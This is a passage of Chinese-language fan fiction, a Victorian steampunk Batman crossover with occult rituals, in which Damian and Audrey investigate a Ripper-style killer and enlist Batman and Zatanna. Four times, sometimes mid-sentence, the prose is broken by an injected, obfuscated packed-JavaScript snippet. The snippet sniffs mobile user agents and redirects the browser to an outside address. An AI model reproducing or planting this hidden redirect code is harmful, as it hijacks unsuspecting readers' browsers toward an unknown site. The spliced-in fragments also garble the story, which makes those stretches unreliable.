这个世界的布鲁斯比父亲年轻，阿尔弗雷德原本只是偶尔念叨他几句。但在阿尔弗雷德知道达米安是布鲁斯同位体的儿子之后，韦恩家的酒窖能有人继承的希望立刻熊熊燃起，每一天都把布鲁斯打扮得仪表堂堂，催他去和女士们交际。 由于韦恩庄园有一位不知道他秘密身份的奥德莉，布鲁斯在家里也保持人设，面对阿尔弗雷德的催促，大肆发表天涯何处无芳草，绝不在一棵树上吊死的无脑言论。有时候达米安觉得布鲁斯扮演草包过于沉浸，根本不是伪装需要，而是乐在其中。 “下午好，达米安，”奥德莉看见达米安出现，如蒙大赦，“你是来找我的吗？” “我已经完成了翻译，”达米安对她扬起手上的纸张。 奥德莉看着那双明亮的绿眼睛以及下方的阴影，意识到一个未成年被累出了黑眼圈，而自己却在这里八卦。惭愧的感觉顿时涌上心头，她赶紧接过翻译成果，赞美道：“达米安，你真是个天才，要是靠我来翻译，可能要留在哥谭养老了。” 达米安“啧”了一声：“这一点也不难。” 奥德莉看着他微微抿起的嘴，想起布莱克被夸奖时就是这样子，明明很高兴，又假装不是很在意，但绿眼睛使劲瞄她，暗示她再多说几句。如果她故意装不懂，布莱克还会不满意地用头拱她，喵喵叫着催促。 “古埃及象形文字和阿拉伯语的表音逻辑截然不同，你能找到它们的连接点，相当于在注释两套密码系统。”奥德莉看着翻译，真心实意地感叹。“而且是孤本破译这种犹如呓语的文字，没有任何平行文本参照。”这真是人类能做到的吗？ 【巫吻之油，古金币，上午八时，敬拜狮子匠。失败。 扭动胎膜，古金币，上午二时，敬拜双角斧。失败。 …… 灰晓之油，守夜虫，下午四时，敬拜裂分之狼。成功。司辰们将过去已成之事编织成了五重历史，这五重历史又有数以千计的分支历史。这一分支于三百年前诞生。兜颈贵胄之外，我是唯一到达的人。 …… 我返回的时刻和地点与出发时相同。 …… 不凋花蜜，古银币，上午八时，敬拜黑骸。失败。 …… 生猛毒液，古金币，上午五时，敬拜蚁母。成功。我的妻子在这里是个男人，与一个女人共度余生，那个女人不是我。她不再露出只为我所知的微笑。 …… 在任何世界都没有见到我。我是独一的，不可同时存在复数个。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15293981|167055||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' …… 我成功的次数逐渐增加，理性和健康也随之下降，我越来越难打开通道。我尝试以圣雅纳略的真血书写此卷，以加强对启之准则的运用。我的理性不再降低了，但我已无法独行，必须携带此卷才能成功。 …… 遗忘之水，苦黑盐，下午九时，敬拜拾滩鸦。成功。世间之事并无固定顺序，世间之人亦然。想见之人仍在，次序没有意义。 …… 代价只需要支付一次。去往曾到达的世界是安全的。有人循着我的路径前往，她的理性和健康都安然无恙。 …… 蛮横锤骨，透指毒素，上午三时，敬拜制花人。成功。正义与邪恶扭曲着，极致的正义竟好似邪恶。太多人自以为在做正确之事，却模糊了永远不应越过的那条线。 我越来越虚弱了。我知道我一旦止息，或许便是永远。卷上的字迹也越来越淡了，我担心总有一日它们会消散。 忘却会的某人告诉我，拉撒路池水可以让我的记录再次鲜活。以池水浸泡后，羊皮卷可以保护我灵魂的憩所。 我的体力已不足以支持我衰弱的心脏。】 “我想他最终没能找到拉撒路池”，达米安惋惜道，“探索之途不得不因死亡而被迫终止。” “他已经取得了不可思议的成就。材料、时间、敬拜的司辰，可以组合出的仪式数量是无法想象的。相较之下，他的记录只是一小部分，但他的每一条记录，即使是失败的记录，也都很有意义。在他尝试的数百次跨维度仪式中，有时能成功进入另一个世界，但更多时候是失败。每一次穿越，他的理性和健康都受到侵害。” “他因此创造了羊皮卷，却只能保护他的理性。”达米安说。 奥德莉赞同道：“他很聪明，在发现自己的理性不足以驱动启之准则后，想出了这个借助外物的办法。圣雅纳略的真血是十分珍惜的材料，通常用于向雅努斯献祭以获得祂的庇护。” “雅努斯？”达米安诧异道。“据我所知，祂是古罗马本土最原始的神灵，掌管开端与终结，大门和通道。” “没错，密教中人认为祂具有启的力量，是连结‘不可能’与‘注定’的门扉。有人认为祂是双角斧的使徒，也有人认为祂已经达到了教主的级别。”奥德莉为达米安解释：“双角斧是启之法则的司辰。祂是两面双刃之神，因时允行之神，待于门关之神，割合剖聚之神。” “可惜他没有在羊皮卷上留下姓名，也许他是一位历史上著名的调查员呢。但哪怕没有其他成就，他的记录也足以令他进入群星智慧教堂。”奥德莉充满敬意地说。 群星智慧教堂位于罗德岛的普罗维登斯，为逝去的伟大调查员提供永恒的休憩之地。能在教会墓地有一块墓碑是最高的身后荣誉，很多获得此殊荣的调查员其实尸骨无存，只留下墓碑上几行简略的生平成就，以及在人类对未知的探索之路上延伸向前的几行脚印。 9. 第 9 章 “羊皮卷上缺少的不只是他的姓名。他也没有记录如何回到自己的世界。”达米安指出。 “他的记录很详尽，应该不是无意漏掉的。”奥德莉说。“也许在他看来，回去的方法是不言自明的，或者是一种常识，因此无需赘言。” “对此你有什么头绪吗？”达米安问。 “我需要想一想。”奥德莉说。“还有一个问题。你之前提到在羊皮卷上闻到拉撒路池水的味道，如果那不是你的错觉，说明它确实被拉撒路池水浸泡过。可是根据写作者的记录，拉撒路池水只能起到保护羊皮卷的完整和穿越者健康的作用。我们并没有举行任何仪式，为什么会穿越？” “也许他对羊皮卷的功能了解并不全面，”达米安说。 “也可能是这个世界的某个人举行了仪式，吸引来了羊皮卷，而我们只不过是因为离羊皮卷太近，才恰好被一起传送了。”奥德莉大胆地猜测。“这几天我一直在看报纸，迄今为止开膛手的受害人有四个，她们的尸体都被破坏过。其中，最后一起案件的发生地点正是我们穿越的地方。” 在达米安开口前，奥德莉又补充道：“我知道这个理论有点牵强，因为最后一起案件是在我们到来的三天前发生的。但我不是唯一一个怀疑凶手另有目的的人。如果凶手是因心理变态而杀人，只会由哥谭警局处理，但防剿局的霍布森探长在与哥谭警局合作。” “所以你觉得凶手是个密教教徒。” “是的，启之准则包含揭示，洞开与拆解，不止与门与钥匙有关，还与伤口有关。侍奉启之准则的团体中，最著名的是神圣伤口会，他们的仪式通常会涉及到伤口，也有记录显示他们曾将天资独具的适格之人提升至钥匙，以此洞开一切门扉。当然，新闻报道中没有太多关于伤口的细节，也许是警方有意不去公布，以防引起更大的恐慌。” 达米安说：“即使不是为了启之准则，凶手也一定有什么目的。这是我们目前唯一的线索，今晚我们去警局看看他们的详细记录。” 晚上，布鲁斯又一次被阿尔弗雷德催促着登上马车，手捧鲜花去接某位名媛参加舞会。达米安和奥德莉乘上另一辆马车，去距离警局两条街区的冰山餐厅用餐。 冰山餐厅位于哥谭最繁华的街道，装潢金碧辉煌，水晶吊灯将碎钻般的光斑洒在鎏金壁纸上，丝绒座椅装饰着刺绣滚边，十七世纪的威尼斯镜框里映出侍者端着银质餐盘的身影。角落的爵士乐队演奏着轻缓的曲目，女歌手倚着麦克风如泣如诉地歌唱，缠绕在麦架上的白玫瑰随着声波颤动。衣着华贵的男男女女举止优雅，水晶杯中的酒液折射出纸醉金迷的光芒。 “现代的哥谭也有一家冰山餐厅，但是冰山装饰可比这里的丑多了。”达米安忽然嫌弃地说。 奥德莉顺着他的视线看去，以现代人的挑剔眼光，她并不觉得那座天鹅形状的冰雕有多么美，虽然它的制作和维护难度可能很高——天鹅的脖子细长，却稳固地支撑着头颅。“丑多了”的冰雕会是什么样子？ “感谢你和阿尔弗雷德安排这顿晚餐，”奥德莉说，“我本以为我们会在深夜直接去警局。” “那样的话，可没办法和阿尔弗雷德解释。”达米安说。其实阿尔弗雷德知道他们的真实目的地。只是为了保护韦恩庄园的秘密，他们不得不让奥德莉以为阿尔弗雷德不知情。 “我们穿成这样，等下的行动会不会不方便？”奥德莉说。阿尔弗雷德很支持年轻人去享受生活，为他们准备了华丽的衣物和饰品。 “如果你想成为优秀的调查员，就要适应在任何不便利的情况下展开调查。”达米安说。“难道调查对象会给你时间去换衣服准备吗？” 好有道理，奥德莉无法反驳。“我们大概有多少时间去调查？回去太晚的话，阿尔弗雷德会担心。” “餐厅营业到凌晨四点，在这里一顿饭花上四五个小时很正常。我们至少有一个小时的调查时间。”达米安回答。 用了主菜之后，达米安唤来侍者为他们保留位子，说要去楼上的赌场玩一会，晚些再回来吃甜点。这么做的客人很多，侍者娴熟地拿来一个牌子放在桌子上。 奥德莉和达米安步行到达哥谭警局时已经很晚了，只有几个值班的警员在一楼，煤气灯散发出清冷的光芒，映照出他们毫不掩饰的疲态。警局很安静，连警员手边的咖啡杯都死气沉沉的，一点热气都没有，喝起来大概也不比泥浆强多少。只有通风管偶尔发出震颤的嗡鸣。 避开这些夜班警员的视线很容易。两人悄声来到二楼，除了走廊尽头的房间之外，其它房间都是黑漆漆的。 “那里是局长办公室，”达米安悄声说。他们根据门上的铭牌找到负责开膛手案的爱德森·约翰逊警长的办公室，门锁着，达米安毫不费力地打开了，没有惊动深夜加班的局长。进屋后，达米安又将门无声地关上。 层叠的案卷凌乱地堆在桌子上，被用过的咖啡杯和酒杯随意地放在角落，等待着早上的清洁女工来清洗。最醒目的厚重案卷便是开膛手案，显然这是约翰逊警长目前的工作重点。 卷宗中除了警员和验尸官的笔记和报告之外，还有数张受害者的照片。达盖尔银版法拍摄出的照片具有清晰的影像，但价格昂贵，卡罗摄影法成本便宜但画质粗糙，因此警方照片通常采用湿版火棉胶摄影法。受限于技术，和现代的照片相比，它们的色彩对比度过高，又缺乏灰度层次，影像呈现强烈的明暗反差。照片上的伤口可能比现场去看还要骇人，奥德莉强忍着恶心，借着窗外的月光仔细查看了每一张。 “四个受害人均是被割喉而死，也都有一处巨大的穿透性伤口，位置分别在眼部、心脏、腹部和手掌。要么是仪式需求多个祭品，要么就是他并不知道如何举行仪式，需要多次实验。” 奥德莉说出自己的结论。 “法医认为凶手先将被害人迷晕，然后制造出伤口，又在几小时之后杀死她们。他确实可能是在举行仪式，需要 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15293982|167055||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 祭品活着，确定失败后再杀人。”达米安在旁边翻看验尸官的报告。 “几个小时，他不怕被人发现吗？”奥德莉惊讶道。 “他选的都是少有人去的地点。死者被发现的时候都已经去世至少一天了。”达米安语气毫无起伏地说，“而且哥谭东区的每个人都知道，想活下去就不要多管闲事。” “这里的资料都是普通的调查分析，”奥德莉读完约翰逊警长的笔记，说：“没有任何涉及霍布森探长的部分，可能是他故意没有记录两人的交谈，或是霍布森探长什么也不告诉他。” 两人看完了所有的材料，达米安将卷宗放回原位。正准备出门时，走廊上忽然传来脚步声，朝着走廊的尽头前行。 与奥德莉对视一眼，达米安打开一道门缝，两人一起挤在那里朝外看。戈登局长办公室的门开着，煤气灯的亮光照亮了门口的地面。他们看见黑色的披风一角从门口一闪而逝，然后听见两个人低低的说话声，但听不清楚谈话内容。过了几分钟，谈话声停止了，那位访客从来路离开。在路过约翰逊警长的办公室门口时，访客的脚步几不可查地停顿了一瞬。 “那个披风，”奥德莉声音颤抖地说，“是蝙蝠侠吗？” 达米安含糊道：“也许吧。” “我们只在这里待了半小时，”奥德莉后退着站起来，望向墙上的木制挂钟，达米安望向她，已经猜到了她要说什么，“我在报纸上读到，防剿局的办公室在警局隔壁。”她指指窗外那栋三十层高的伍尔沃斯大楼，“就在顶楼。” 达米安犹豫了。如果只是他自己行动，他会毫不犹豫地前往，但和奥德莉一起行动，他担心无法保证她的安全。谁知道霍布森探长有什么古怪的魔法。 “我会听你的指挥。” 奥德莉保证道。 “好吧。”达米安最终答应了。 伍尔沃斯大楼的建筑风格融合了中世纪教堂的庄严，修长而直立的支柱、蓝色和黄色的玻璃窗以及建筑顶端的绿色镀铜屋顶都是建筑师呕心沥血的设计。屋顶上巨大的石制滴水兽狰狞可怖，却奇异地没有破坏整体美感，它们俯瞰着哥谭，也许一切的罪恶都映在它们石刻的眼珠中。 大楼的租户都是各种机构的办事处，经常有职员加班到深夜，门房对两人的出现毫不惊讶，只是随意地打了个招呼。手拉门式电梯内壁镶嵌了巨大的镜子，映出达米安扳动铸铁手柄的身影——电梯员已经下班了，他们需要自助。 栅栏门打开时的嘎吱声音非常刺耳，撕裂了顶楼的安静。奥德莉紧张地捏着裙摆，仿佛能听见自己的心跳。借着走廊常年不灭的昏黄灯光，两人看清了墙壁上的指示，左边是防剿局哥谭分部。 再一次，达米安轻松地打开了办公室的门。与大楼整体浮夸奢侈的风格不同，办公室里的陈设非常简约，仿佛一切事物非必要则不存在。不止是文件摆列整齐，连桌上的文具也都放得端端正正，一望便知办公室的主人是个极度自制的人。 10. 第 10 章 霍布森探长的办公室里一切都条理分明，两人很容易便找到了开膛手的卷宗。 “我们是不是找错了？”奥德莉不可思议地问，“还是说他办事就是这个风格？” 她伸手去拿了另外几本卷宗，快速翻阅一番，里面的材料和笔记整理得一丝不苟，连很小的细节都被认真记录下来，还有很多张写了想法和分析的便条夹在其中。 奥德莉又看了一遍开膛手的卷宗，很肯定地说：“这和我们在警局看到的几乎完全一样，多出的几张笔记里满篇废话，他是在消极怠工吗……”她的声音忽然低下去，一个可怕的念头击中了她。 达米安从她手里接过卷宗，小心地放回原位，见奥德莉还在发呆，他轻声问：“你有没有听过防剿局的探员背叛的例子？” “我在书上读到过，他们有些人被策反了，开始研究无形之术，甚至成为教会的使徒。但霍布森探长并不在其中，他一直是最积极抓捕密教教徒的，据说他甚至会伪造证据以达到目的……” “那恰恰证明他人品不佳。”达米安说，“你忘了吗，我们现在身处另一个世界，在不同的历史分支里。很多人和事都可能是不同的。” “你说得对，”奥德莉仿佛下定了决心似的，“那我们得想办法阻止他。哥谭警局还以为他是合作伙伴，这样下去还会有更多的开膛手受害者。” 达米安有点意外。如果凶手是任何其他人，他毫不怀疑奥德莉会乐意帮助抓捕。但当凶手可能是霍布森探长时，他以为她会延续“逃避可耻但有用”的心态。 尽管相处时间不久，他已经清晰感觉到奥德莉对防剿局和霍布森探长的畏惧。防剿局在她生活的时代已不复存在，但其可怖历史已经给她烙下了思想钢印。自从来到这个世界，奥德莉从未使用过无形之术。她明显习惯了无形之术带来的生活便利，好几次他都注意到她几乎要施展某种术法了，又马上控制住了自己。 达米安正想鼓励她几句，忽然听见电梯栅栏门打开时的嘎吱声音。 奥德莉几乎惊跳起来，第一反应是看向窗户，然后意识到自己身处三十楼。从这里跳下去，后果可能比施展启之术法回冰山餐厅还悲惨。 是的，她纠结再三，还是在冰山餐厅的女卫生间做了传送记号。她没有告诉达米安，希冀在他被防剿局认定为同伙的最糟糕的局面下，他可以用不知情抗辩。这个想法可能有点天真，但她想不出更好的办法了。 “去里面的休息室，” 达米安几不可闻地说，进门时他已经观察过了房间的布局。奥德莉立刻跟上。 希望是隔壁公司的职员。奥德莉祈祷着，然后听见办公室的门被打开了。透过虚掩的门缝，她看到一个穿着卡其色风衣的男人，衣领处别着一枚小小的徽记，上面以简略的笔法绘制了一位老妇人的面庞。男人在书桌前坐下，打开台灯，摊开一张纸书写了一会儿，然后抬头望向休息室的门，不知是在出神还是感受到了门后藏着人。 奥德莉紧张地盯着男人的一举一动，因为他的视线而不自觉地屏住了呼吸。她忽然感到袖子被拽动，转头去看达米安，达米安对她指指窗户。 达米安，这就是你所谓合理的指挥吗？奥德莉不敢相信地看向窗外，却看见一抹黑色的影子站在阳台上，而她完全没有听见他落地的声音。 落地窗开启的声音很轻，在夜晚却振聋发聩。在男人从书桌前起身时，奥德莉和达米安一起冲向外面，紧紧环抱住蝙蝠侠。蝙蝠侠的抓钩枪射出，三人消失在夜色中。 当霍布森探长冲到休息室时，他看到的只有在夜风中晃动的窗帘。 降落在滴水兽上时，奥德莉剧烈地喘息着，心脏仿佛要跳出胸口。失重的感觉并不使她恐惧，她甚至有一种飞翔的快乐感觉，因为她知道带着他们的人是蝙蝠侠，这是一场安全的奇妙体验。 “你可以松开他了，”达米安的声音响起，打破了奥德莉的神游。她这才意识到自己还紧紧抱着蝙蝠侠的腰，赶紧松开他，拉开两人的距离。但滴水兽上的面积有限，三人的间隔不可避免地小于社交距离。 “谢谢您，蝙蝠侠先生。”奥德莉说。她目不转睛地望着蝙蝠侠，仿佛在拼命用自己的眼睛把他的每一个细节记录下来。 她所在世界的蝙蝠侠在正义联盟成立后有一些出席活动的照片流传出来，他通常穿着一身紧身制服，勾勒出结实的肌肉形态，比那些健美先生看起来更高大强壮。 眼前的蝙蝠侠还是只属于黑夜的英雄，报纸记者们从未有幸获得他的照片，只能通过目击者一个比一个语无伦次的描述，用笔勾勒出一个夸张的影像。 不，那些描述其实也没那么夸张。 蒸汽驱动的战甲非常厚实，使他的身形看起来比现代的蝙蝠侠更巨大，极具压迫感。一米七的奥德莉被他衬得十分娇小，又因为站得很近，和他说话时不得不仰着头。 蝙蝠侠的战甲背部有一个小型的蒸汽引擎，通过复杂的管道系统为战甲和配备的武器提供动力。引擎的排气口位于肩部后方，不断喷出白色蒸汽。 战甲由黄铜、青铜和抛光钢铁制成，采用多层设计，外层是厚重的金属板，内层则是皮革和帆布衬垫。战甲表面布满铆钉和齿轮装置，所有需要活动的部位都由设计极其精密的齿轮和活塞系统连接。靴子底部装有弹簧和齿轮系统，增强跳跃能力和稳定性。机械护手看起来沉重，实际上十指灵活。手腕处的机械装置可以发射绳索或释放烟雾。 蝙蝠披风由厚重的帆布和皮革制成，边缘镶嵌金属链条，内部隐藏着小型蒸汽喷射装置，用于短距离滑翔或快速移动。 蝙蝠头盔由黄铜和黑色皮革制成，顶部有一对蒸汽排放管，眼部装有可调节的护目镜，镜片由多层玻璃和铜框组成，能够在夜间增强视野。 以上是达米安的观察结果。奥德莉的观察如下： 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15293983|167055||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >战甲上雕刻着维多利亚时代的花纹和蝙蝠图案，如果不是近距离观看，很难注意到。 此刻他站在滴水兽的头上，披风下摆垂挂在兽首边缘。黑色的披风看着很沉，长度也过于夸张，走路的时候肯定会拖曳在地上。 有趣的是，这位蝙蝠侠也执着地在头盔上保留了蝙蝠耳朵，这纯粹是装饰性大于功能性的设计。 “请您送我们下去，”达米安又一次打断了奥德莉的思绪。他很不客气地说：“我们需要回冰山餐厅。” “等等，”奥德莉赶紧说。她真担心蝙蝠侠太有行动力，下一秒就把他们送去。“有件事情必须马上告诉您。我们知道开膛手是谁了。防剿局的斯宾塞·霍布森探长，他就是凶手。” 蝙蝠侠说：“这是很严肃的指控。你有证据吗？” “他和哥谭警局合作调查开膛手案，但是他的案卷里什么认真的调查文件都没有。我看了他其它的案子，这和他的一贯风格不符。” “这不是直接证据，”蝙蝠侠说。“称之为间接证据都很勉强。” “刚才我看到他戴着一枚圣亚割妮徽记。圣亚割妮是蚁母的圣徒，蚁母是启之司辰之一。简而言之，他信奉了密教。但防剿局是专门关注密教犯罪案件的政府部门，他们的成员不可能侍奉任何司辰。” “我会去调查。”蝙蝠侠说。 “他如果不承认，您就打他一顿。”奥德莉积极地出谋划策，有点过于乐在其中，跃跃欲试的样子像是恨不得亲自上阵。“他要是敢狡辩，您就再打他一顿。我听说防剿局的人健康值特别高，非常抗揍，您不用担心他被打死。” “我会去调查。”蝙蝠侠重复了一遍，这次把重音放在“调查”二字上。 达米安一脸无语地站在旁边。他觉得奥德莉像一个在打不过对手的时候发现家长来了的熊孩子，立刻要求靠山把对方碾压。蝙蝠侠显然也是这么想的，虽然他的调查手段多种多样、允文允武，但他不会这么回答奥德莉。 “好吧。也麻烦您去提醒一下哥谭警局。”奥德莉说。没等蝙蝠侠开口，她马上解释：“我们今晚先去了警局，看到您和戈登局长见面了。您去告诉他这个消息肯定比我们更有说服力。” 她坦白得如此迅速，蝙蝠侠一时无语。奥德莉对蝙蝠侠毫无隐瞒和充分信任的态度过于自然，让一直被她客气对待的布鲁斯有点茫然。他知道这是因为另一个世界的蝙蝠侠，他的同位体为哥谭和人类奉献了数十年的岁月，依然还觉得自己做得不够，还想付出更多。他是义警、是超级英雄、也是人类永不坠落的一面旗帜。 未来的我也会像他那样吗？布鲁斯心想。他在哥谭人的眼中看见过恐惧，看见过厌恶，也看见过感激和信任。但这样没有丝毫保留的、全然信任的眼神，他还是第一次看到。她不止相信他的道德水平，还笃定他能解决世上的任何难题。 “好的。”蝙蝠侠最终说。 11. 第 11 章 “还有一件事，”奥德莉想起自己和达米安回家的问题还没解决，“我们不是这个世界的人，我怀疑是霍布森探长举行的某种仪式将我们召唤过来的。如果知道他具体做了什么，我们也许能找到回去的办法。” “我知道了。”蝙蝠侠已经习惯了她开诚布公的风格，“如果你们的穿越是密教仪式的缘故，我认识的一个人或许能帮上忙。” “真的吗？太好了。”奥德莉眼睛一亮。 见她没有其它要说的事情了，蝙蝠侠将两人送到冰山餐厅附近，一转眼又消失在哥谭的夜晚。 “呀，我忘了告诉他如何联系我们。”坐在餐桌前，奥德莉用叉子漫不经心地戳着可丽露，忽然惊叫一声，然后又信心满满地说：“没关系，他一定有办法知道的。” 达米安翻了个白眼，奥德莉心情很好地无视了他。她没想到今晚会遇见蝙蝠侠，有了他的帮助，她对于成功回家的信心大为提升。至于坐在她对面吐槽蝙蝠侠的战甲笨重而不实用的达米安，奥德莉才懒得和他争论，那身战甲明明很完美，每一个设计都必定有其原因。 达米安说得渴了，端起茶杯喝了几口，问她：“你在听我说话吗？” “你说的对，”奥德莉自动回复道。 “我说的什么是对的？” “重装蝙蝠侠太帅了。”奥德莉喃喃道，然后发现达米安在瞪她。 达米安双手环在胸前，问：“你是蝙蝠侠的粉丝？可你不是哥谭人吧。” “蝙蝠侠是属于全人类的超级英雄。”奥德莉马上说。“哥谭人不要妄想独占他。” 达米安“哦”了一声，心里自动把她归为了自己的粉丝。毫无逻辑的推理链条如下： 父亲退休之后，我会继承蝙蝠披风——我是未来的蝙蝠侠——奥德莉是蝙蝠侠的粉丝——奥德莉是我的粉丝。 达米安把自己安抚好了，又假装不在意地问：“那罗宾呢，你是他的粉丝吗？” “哦，他刚出现的时候一直穿绿色短裤，有点奇怪。最近几年他的制服终于没那么暴露了。不知道是不是年纪增长之后懂得审美了，知道暴露并不等于美。”奥德莉漫不经心地回答。“这个世界的罗宾还没有出现过，他应该不会穿那种衣服吧，否则在维多利亚时代显得更奇怪了。” 迪克·格雷森，你死定了。达米安气得要命，决定回去要和大哥打一架。罗宾风评被害全是他的错。 奥德莉看到他又一次垮起脸，搞不懂他为什么生气。这一晚上的经历太过刺激，肾上腺素消退后，她觉得有点困了。小小地打了个哈欠，她问：“达米安，你还要吃甜点吗，我有点累了。” “不吃了，”达米安无奈地说，“我们回去。” 回到韦恩庄园，阿尔弗雷德迎接了两人，问他们是否用餐愉快。 “冰山餐厅很不错，”奥德莉说，“这么晚了，辛苦您等我们。” “这没什么，老爷也刚回来。”阿尔弗雷德说。 事实上，蝙蝠侠在半小时前夜巡回来，发现两个孩子还没回家，对阿尔弗雷德抱怨道：“他们真是太莽撞了，竟然就那么直接地进入防剿局的办公室，差点被霍布森探长发现。我以为达米安会更稳重些的。” “显然他继承了您，哦不，您的同位体的个性。”阿尔弗雷德说。 “我可比他谨慎多了。”布鲁斯抗议。 阿尔弗雷德笑而不语。 “不过奥德莉有了很重要的发现，”布鲁斯说，“她认为霍布森探长是凶手。” “听起来，您同意她的看法？” “今晚我见了戈登局长，我们都有这个怀疑。希望我们能在他再次作案前找到足够的证据逮捕他。” “希望如此。” 阿尔弗雷德将一封信递给他。“扎坦娜小姐说她三天后会到哥谭。” “很好。我会用蝙蝠侠的身份带她来拜访，希望她有办法把这两个孩子赶紧送回去。” “您明明很喜欢他们住在这里，”阿尔弗雷德直截了当地说。 布鲁斯感到一丝心事被戳破的尴尬。他叹口气：“阿福，你总是什么都知道。” “并非如此，老爷。您不想让我知道的事情，我是不知道的。” 布鲁斯僵硬了一下，阿尔弗雷德继续说：“比如您什么时候愿意请塞琳娜·凯尔小姐来庄园用餐，这一点我就无从得知。” “我……”布鲁斯努力露出一个乖巧的微笑。 三天后的晚上，布鲁斯又一次出门去参加舞会了。他离开后，蝙蝠侠和一位女士拜访韦恩庄园，说是来找两位暂居于此的客人。 “您是怎么知道要来这里找我们的？”达米安明知故问。 “蝙蝠侠无所不知。”见蝙蝠侠沉默不语，奥德莉在一边抢答，生怕偶像为难。 达米安撇撇嘴，没再多说什么。 “我是扎坦娜，”头戴黑色礼帽的女士很亲切地对奥德莉和达米安打招呼。“蝙蝠侠说你们可能是被密教仪式召唤到这个世界的，正在想办法回去。” 扎坦娜·扎塔拉对外经常以专业魔术师的身份出现，但其实她出身于魔法世家，是一位强大的魔法师。她最擅长的是反语魔法，可以用倒念地球上任意一种语言的方式来施放法术。 扎坦娜和布鲁斯自幼相识，算是青梅竹马，还谈过一段短暂而青涩的恋爱，但两人很快意识到还是做朋友更合适。她是蝙蝠侠最信任的人之一，知道他的秘密身份，也愿意随时对老朋友伸出援手。 在收到布鲁斯的信之后，她立刻以身体不适为理由中止了在欧洲的巡演，以最快的速度赶到哥谭。 “是的，”奥德莉将羊皮卷和达米安的翻译一并递给扎坦娜，又把已知的信息和分析一一道来。“您也是无形之术的研习者吗？” “不，我是魔法师。不过我对密教仪式有一些了解。” 扎坦娜解释说。“有些大型仪式需要分次举行，但通常间隔较短，不超过 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15293984|167055||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 三天。这几次案件间隔时间较长，更像是凶手在反复试验某个仪式所需的要素。他制造出位置不同的伤口，可能是因为他已经确定了其它的要求，只有这一项无法确定。这也更符合实验中控制变量的逻辑。” “希望如此，”奥德莉说，“如果每一个要素都未知，全要靠实验确认，那他可能需要杀掉成百上千个人。我不怀疑他的冷血程度，但他应该有足够的理智意识到，即使是在哥谭东区，杀这么多人也是不现实的。霍布森探长之前在伦敦分部工作，伦敦过去几年没有类似的新闻。” “根据现有四起案子的时间推算，如果凶手还打算再举行仪式的话，会是在明天晚上。”扎坦娜说。 “那地点呢？”奥德莉问。 “我无法确定。”扎坦娜说。“他似乎只是随机找一个没人的地方。” “霍布森探长还不知道自己成为了嫌疑人，按照他的心理惯性，很可能还会选择东区。”蝙蝠侠说。 “这个范围太大了。”达米安皱眉，“就算所有警察和我们一起行动，也未必能及时发现。” “如果是嫌疑人是普通人，我可以跟踪他，但霍布森探长可以用启之术法瞬间移动到哥谭的任何地方，我们只能尽力而为了。”蝙蝠侠说，“明晚扎坦娜和我会在东区巡视，你们在庄园等我们的消息。” “不行，”奥德莉和达米安异口同声地说。 “他们两个会很有帮助的，”扎坦娜劝说道。 “他们还是孩子，”蝙蝠侠不赞同地说。 “我已经满十八岁了，”奥德莉马上说，“上个月刚过了生日。” 达米安认为奥德莉陷入了蝙蝠侠的逻辑陷阱，他对此不屑一顾：“我的心智比成年人更成熟，战斗力也远超他们。”他又淡定地威胁说：“你是阻止不了我们的，与其让我们自由行动，倒不如给我们安排任务，这样你至少知道我们在哪里。” 扎坦娜“扑哧”地笑出了声，看蝙蝠侠被怼得无话可说总是一件很有趣的事情。蝙蝠侠紧紧地抿着嘴，最后不高兴地答应了。 规划好四人负责的区域后，蝙蝠侠从不知哪里取出三部砖头大小的对讲机，将使用方法告诉他们：“信号还不足以覆盖哥谭，但东区范围内是没问题的。如果发现任何情况，不要擅自行动，必须马上汇报。” 四人约好第二天晚上八点在哥谭警局后面的小巷碰面，然后再分头巡视。 “抓住霍布森探长之后，我们就能知道仪式的具体内容了，”奥德莉犹豫地问，“但他会知道如何送我们回自己的世界吗？” “关于这一点，我认为羊皮卷上之所以没有记录，是因为回去的方式很简单——只需要举行和出发时同样的仪式就可以了。”扎坦娜说。 